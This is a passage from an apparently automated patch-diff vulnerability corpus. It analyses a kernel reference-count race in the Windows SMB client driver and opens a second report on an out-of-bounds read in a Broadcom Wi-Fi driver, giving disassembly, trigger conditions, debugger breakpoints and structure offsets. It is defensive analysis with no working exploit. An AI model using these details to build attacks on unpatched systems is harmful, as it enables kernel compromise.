&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EEEB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; return new (non-zero) count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000EEF7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;VctReferenceEndpointSafe @ 0x1C00168E4&lt;/code&gt; (zero-checked)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00168F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00168F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00168FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0016964&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; refcount 0 -&amp;gt; fail (return 0)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00168FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0016900&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0016902&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; atomic compare-exchange&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0016951&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; success&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0016962&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0016964&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; failure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched &lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; (key region)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; No Feature_84197691 call — always zero-checked, early&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E4B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;784&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; SpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E61&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAcquireSpinLockExclusive&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E6D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;782&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; construction flag = 1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011E7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011EA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VctReferenceEndpointSafe&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; always zero-checked&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011EB6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0011ECE&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; success&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011ECE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011ED5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SmbCeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0011FBB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetDialectInfoFromNegotiateResponse&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; parsed AFTER safe reference&lt;/span&gt;
&lt;span class="c1"&gt;; No VctReferenceEndpoint call anywhere in this function.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The security-relevant diff is: removal of the &lt;code&gt;Feature_84197691&lt;/code&gt; gates (&lt;code&gt;0x1C0011E60&lt;/code&gt;, &lt;code&gt;0x1C0012038&lt;/code&gt;, and the error-path gates), removal of the late &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; call at &lt;code&gt;0x1C001207E&lt;/code&gt;, and the negotiate parse being moved to run only after the zero-checked reference is held. The lock primitive also changes from &lt;code&gt;SmbCeAcquireSpinLock&lt;/code&gt; to &lt;code&gt;ExAcquireSpinLockExclusive(connection+0x784)&lt;/code&gt;, and &lt;code&gt;SmbCeGetFirstBindingObject&lt;/code&gt; to &lt;code&gt;SmbCeGetFirstBindingObjectEx(rdi, 0)&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Client initiates SMB:&lt;/strong&gt; a user-mode application or system component on the victim opens a UNC path (&lt;code&gt;net use \\attacker\share&lt;/code&gt;, Explorer, scripted &lt;code&gt;CreateFile&lt;/code&gt;, etc.), causing &lt;code&gt;MRxSmbCreateSrvCall&lt;/code&gt; → &lt;code&gt;SmbCeCreateSrvCall&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Negotiate exchange:&lt;/strong&gt; the client sends SMB2 NEGOTIATE and the server replies with a negotiate response. &lt;code&gt;GetDialectInfoFromNegotiateResponse&lt;/code&gt; validates SMB magic (&lt;code&gt;424D53FF&lt;/code&gt; SMB1 / &lt;code&gt;424D53FE&lt;/code&gt; SMB2) and response size (&lt;code&gt;&amp;gt;= 0x20 / 0x23 / 0x40 / 0x46&lt;/code&gt; depending on path) — these size checks are identical in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature disabled:&lt;/strong&gt; &lt;code&gt;Feature_84197691__private_IsEnabledDeviceUsage()&lt;/code&gt; returns 0, selecting the deferred path. This is a WIL feature-staging flag; its default cannot be determined from the binary alone (it is resolved at runtime by the feature-configuration system).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Teardown races the parse:&lt;/strong&gt; while &lt;code&gt;GetDialectInfoFromNegotiateResponse&lt;/code&gt; is executing (i.e., after the negotiate response is delivered but before &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; at &lt;code&gt;0x1C001207E&lt;/code&gt; runs), a concurrent teardown drops the endpoint reference count to 0 (&lt;code&gt;VctDereferenceEndpoint&lt;/code&gt; path). The late &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; then increments a zero count instead of failing, and the endpoint is subsequently dereferenced.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The race window is narrow (a single function body) and requires the endpoint to be observable at reference count 0 while still enumerable by &lt;code&gt;SmbCeGetFirstVcEndpoint&lt;/code&gt;. No further primitive (info leak, controlled reclaim) is demonstrable from the diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; A kernel object-lifetime race (use-after-free / resurrection) on a &lt;code&gt;VcEndpoint&lt;/code&gt;. In the deferred path the endpoint's reference count can reach 0 during negotiate processing; &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; then resurrects it and the function dereferences endpoint fields (&lt;code&gt;+0x148&lt;/code&gt;, and via later cleanup &lt;code&gt;+0x1C8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;What the binary supports:
- The two reference helpers differ only by the zero-check; &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; uses &lt;code&gt;lock xadd&lt;/code&gt; (atomic) and cannot fail on a torn-down object.
- The receive/disconnect paths elsewhere use the zero-checked &lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt;, consistent with the object being observable at reference count 0.
- The patch makes the zero-checked, early reference mandatory.&lt;/p&gt;
&lt;p&gt;What the binary does &lt;strong&gt;not&lt;/strong&gt; support (and is therefore not claimed): any arbitrary kernel read/write, pool-spray reclaim strategy, KASLR/info-leak, control-flow hijack, or SMEP/CFG/HVCI-bypass chain. Reaching a corrupted or freed &lt;code&gt;VcEndpoint&lt;/code&gt; dereference would most plausibly manifest as a bug check rather than a controlled primitive; weaponization is not demonstrated by this diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Real, verifiable addresses for confirming the code path on the unpatched image (&lt;code&gt;mrxsmb.sys&lt;/code&gt; image base is the module load address; the constants below are file-relative to &lt;code&gt;0x1C0000000&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mrxsmb!SmbCeCompleteSrvCallConstructionPhase2   ; 0x1C0011E10 entry
bp mrxsmb+0x11E60                                   ; Feature_84197691 gate #1
bp mrxsmb+0x12038                                   ; Feature_84197691 gate #2 (late)
bp mrxsmb+0x1207E                                   ; late VctReferenceEndpoint call
bp mrxsmb!VctReferenceEndpoint                      ; 0x1C000EE90 (no zero-check)
bp mrxsmb!VctReferenceEndpointSafe                  ; 0x1C00168E4 (zero-checked)
bp mrxsmb!GetDialectInfoFromNegotiateResponse       ; 0x1C00158DC (negotiate parser)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At function entry, &lt;code&gt;RCX&lt;/code&gt; is the work-item context: &lt;code&gt;[RCX+0x18]&lt;/code&gt; = ServerEntry, &lt;code&gt;[RCX+0x20]&lt;/code&gt; = negotiate buffer, &lt;code&gt;[RCX+0x8]&lt;/code&gt; = NTSTATUS, &lt;code&gt;[RCX+0x10]&lt;/code&gt; = RDBSS context. After the &lt;code&gt;mrxsmb+0x11E60&lt;/code&gt; call, &lt;code&gt;EAX == 0&lt;/code&gt; indicates the deferred path is selected on this build. At &lt;code&gt;mrxsmb+0x1207E&lt;/code&gt;, &lt;code&gt;RCX&lt;/code&gt; is the &lt;code&gt;VcEndpoint&lt;/code&gt;; &lt;code&gt;[RCX+0x8]&lt;/code&gt; is its reference count — a value of 0 there before the &lt;code&gt;lock xadd&lt;/code&gt; is the resurrection condition.&lt;/p&gt;
&lt;p&gt;Relevant offsets:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;VcEndpoint
  +0x008  ReferenceCount (LONG)        ; incremented by VctReferenceEndpoint / VctReferenceEndpointSafe
  +0x148  ServerCall claim field       ; cleared (and [rbx+148h], r12) after the reference
  +0x1C8  sliding-window field         ; xchg&amp;#39;d during teardown/cleanup
ServerEntry
  +0x018  Connection*
Connection
  +0x782  BYTE construction flag       ; set to 1 in patched
  +0x784  spin lock                    ; ExAcquireSpinLockExclusive in patched
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; — similarity 0.7001 — security-relevant&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Removed: the &lt;code&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/code&gt; gates (&lt;code&gt;0x1C0011E60&lt;/code&gt;, &lt;code&gt;0x1C0012038&lt;/code&gt;, and the error-path checks at &lt;code&gt;0x1C0011EFD&lt;/code&gt;, &lt;code&gt;0x1C0011FD7&lt;/code&gt;, &lt;code&gt;0x1C0012107&lt;/code&gt;, &lt;code&gt;0x1C0012152&lt;/code&gt;, &lt;code&gt;0x1C00122CA&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Removed: the late &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; call at &lt;code&gt;0x1C001207E&lt;/code&gt; and its deferred &lt;code&gt;SmbCeGetFirstVcEndpoint&lt;/code&gt; acquisition block.&lt;/li&gt;
&lt;li&gt;Always-on: early &lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt; reference (&lt;code&gt;0x1C0011EA9&lt;/code&gt;) before &lt;code&gt;GetDialectInfoFromNegotiateResponse&lt;/code&gt; (&lt;code&gt;0x1C0011FBB&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Changed lock primitive: &lt;code&gt;SmbCeAcquireSpinLock&lt;/code&gt; → &lt;code&gt;ExAcquireSpinLockExclusive(connection+0x784)&lt;/code&gt;, with the construction flag at &lt;code&gt;connection+0x782&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Changed binding helper: &lt;code&gt;SmbCeGetFirstBindingObject&lt;/code&gt; → &lt;code&gt;SmbCeGetFirstBindingObjectEx(rdi, 0)&lt;/code&gt; (&lt;code&gt;0x1C00120D9&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Error status on the reference-failure path is &lt;code&gt;0xC000020C&lt;/code&gt; in both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;GetDialectInfoFromNegotiateResponse&lt;/code&gt; — similarity 0.9548 — behavioral (not security-relevant)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Removed: the &lt;code&gt;Feature_84197691&lt;/code&gt; checks on the unknown-dialect error path. In the unpatched build the unknown-dialect status &lt;code&gt;0xC000A013&lt;/code&gt; was applied conditionally via &lt;code&gt;cmovnz&lt;/code&gt; gated on the feature (&lt;code&gt;0x1C0015BDA&lt;/code&gt;/&lt;code&gt;0x1C0015C25&lt;/code&gt;); in the patched build it is applied unconditionally (&lt;code&gt;mov ebx, 0xC000A013&lt;/code&gt; at &lt;code&gt;0x1C0015AB0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Unchanged: the SMB magic checks (&lt;code&gt;424D53FF&lt;/code&gt;/&lt;code&gt;424D53FE&lt;/code&gt;) and the response-size checks (&lt;code&gt;0x20&lt;/code&gt;/&lt;code&gt;0x23&lt;/code&gt;/&lt;code&gt;0x40&lt;/code&gt;/&lt;code&gt;0x46&lt;/code&gt;) are byte-identical in both builds — no bounds check was added or removed. Both builds contain the same &lt;code&gt;0xC0000016&lt;/code&gt; and &lt;code&gt;0xC000022D&lt;/code&gt; status comparisons; there is no status-code swap.&lt;/li&gt;
&lt;li&gt;Cosmetic: data-address and WPP GUID relocations from the different image layout.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;DriverEntry&lt;/code&gt; — similarity 0.9865 — not security-relevant&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Removed: a &lt;code&gt;Feature_Servicing_EnableSMBHardeningTelemetry__private_IsEnabledDeviceUsage&lt;/code&gt; gate (&lt;code&gt;0x1C00650B7&lt;/code&gt; in the unpatched build) — a telemetry feature check.&lt;/li&gt;
&lt;li&gt;Otherwise: global/data address relocations and WPP GUID changes from the different image layout. No behavioral security change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added. Five functions present only in the unpatched build were removed because their feature flags were retired: &lt;code&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;Feature_84197691__private_IsEnabledFallback&lt;/code&gt;, &lt;code&gt;Feature_Servicing_EnableSMBHardeningTelemetry__private_IsEnabledDeviceUsage&lt;/code&gt;, &lt;code&gt;Feature_Servicing_EnableSMBHardeningTelemetry__private_IsEnabledFallback&lt;/code&gt;, and the &lt;code&gt;SmbCeGetFirstBindingObject&lt;/code&gt; wrapper (superseded by &lt;code&gt;SmbCeGetFirstBindingObjectEx&lt;/code&gt;, which exists in both builds). None of these removals is an omitted security fix. &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; itself is &lt;strong&gt;not&lt;/strong&gt; removed — it still exists and is still called from other functions; only its late call from &lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; is removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High on the mechanics, Medium on impact.&lt;/strong&gt; The diff is unambiguous: a feature-gated, deferred reference taken with a non-zero-checked helper is replaced by an unconditional, zero-checked reference taken before any attacker-controlled data is parsed. Both reference helpers are atomic; the only functional difference is the zero-check, so the correct framing is object resurrection (referencing a reference-count-0 object), not a non-atomic increment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- &lt;code&gt;Feature_84197691&lt;/code&gt; is a WIL feature-staging flag; whether the deferred (unsafe) path is the default on a given build cannot be determined from the binary. Regardless of the default, the patch closes the window whenever the flag is disabled.
- The race requires a concurrent teardown to drive the endpoint's reference count to 0 while it is still enumerable during the negotiate-processing window. The presence and use of &lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt; in the receive/disconnect paths is consistent with this being reachable, but no controlled exploitation primitive is demonstrable from the diff.
- Severity is assessed as Medium: a network-adjacent kernel object-lifetime race with no demonstrated escalation primitive.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>bcmdhd63.sys — out-of-bounds read / information disclosure in the status-indication path (CWE-125, CWE-200) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/bcmdhd63_bb19dd13-bcmdhd63-report-20260625-202229.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/bcmdhd63_bb19dd13-bcmdhd63-report-20260625-202229.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;bcmdhd63_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;bcmdhd63_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9591&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1138 matched functions (1024 identical, 114 changed), 0 unmatched functions in either direction.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; This patch adds a defensive guard in the NDIS status-indication path (&lt;code&gt;shared_indicate_status&lt;/code&gt;) that avoids passing a zero-length buffer pointer to &lt;code&gt;NdisMIndicateStatusEx&lt;/code&gt; and to &lt;code&gt;print_indicate_status&lt;/code&gt;, preventing a potential out-of-bounds read / kernel information disclosure (CWE-125). It also refactors the vendor Information Element (IE) OID handler (&lt;code&gt;wl_register_ie_upd&lt;/code&gt;) by inlining an existing free-and-NULL cleanup helper; that change is functionally equivalent and is not a memory-safety fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Out-of-Bounds Read in &lt;code&gt;shared_indicate_status&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-Bounds Read / Information Disclosure (CWE-125 / CWE-200)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;shared_indicate_status&lt;/code&gt; (Unpatched address: &lt;code&gt;0x140012a2c&lt;/code&gt;; Patched address: &lt;code&gt;0x1400132e8&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The function accepts a status buffer pointer (&lt;code&gt;a5&lt;/code&gt;) and its size (&lt;code&gt;a6&lt;/code&gt;). In the unpatched code, &lt;code&gt;a5&lt;/code&gt; is stored into &lt;code&gt;StatusIndication.StatusBuffer&lt;/code&gt; and passed to &lt;code&gt;print_indicate_status&lt;/code&gt; regardless of the value of &lt;code&gt;a6&lt;/code&gt;. When called with a size of &lt;code&gt;0&lt;/code&gt;, a non-NULL but zero-length buffer pointer is handed to &lt;code&gt;NdisMIndicateStatusEx&lt;/code&gt; and to &lt;code&gt;print_indicate_status&lt;/code&gt;. &lt;code&gt;print_indicate_status&lt;/code&gt; (unpatched &lt;code&gt;0x14001C264&lt;/code&gt;) never receives the size: its only guard is &lt;code&gt;if (a4 == 0)&lt;/code&gt; (a &lt;code&gt;test rbx,rbx&lt;/code&gt; / &lt;code&gt;jnz&lt;/code&gt; at &lt;code&gt;0x14001C2A8&lt;/code&gt;). For any non-NULL pointer it dispatches on the status code and reads bytes at fixed offsets &lt;code&gt;[a4+4]&lt;/code&gt;, &lt;code&gt;[a4+6]&lt;/code&gt;, &lt;code&gt;[a4+8]&lt;/code&gt;, &lt;code&gt;[a4+9]&lt;/code&gt;, &lt;code&gt;[a4+0xC]&lt;/code&gt;, &lt;code&gt;[a4+0x10]&lt;/code&gt; and formats them into a log string. So a non-NULL pointer with size &lt;code&gt;0&lt;/code&gt; is read up to 17 bytes past a zero-length buffer, producing an out-of-bounds read whose bytes reach a formatted debug/log string (kernel information leak). The patch checks &lt;code&gt;a6 == 0&lt;/code&gt;; if so it forces &lt;code&gt;StatusIndication.StatusBuffer = NULL&lt;/code&gt; before &lt;code&gt;NdisMIndicateStatusEx&lt;/code&gt; and passes &lt;code&gt;NULL&lt;/code&gt; (instead of &lt;code&gt;a5&lt;/code&gt;) to &lt;code&gt;print_indicate_status&lt;/code&gt;, which then takes the &lt;code&gt;a4 == 0&lt;/code&gt; safe path. Both builds already carry a stack cookie (&lt;code&gt;__security_cookie&lt;/code&gt; / &lt;code&gt;__security_check_cookie&lt;/code&gt;); the guard, not the cookie, is the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Reachable indirectly via firmware events triggering WiFi connect/disconnect cycles or Wi-Fi Direct state transitions that produce a zero-length status indication.&lt;/li&gt;
&lt;/ul&gt;
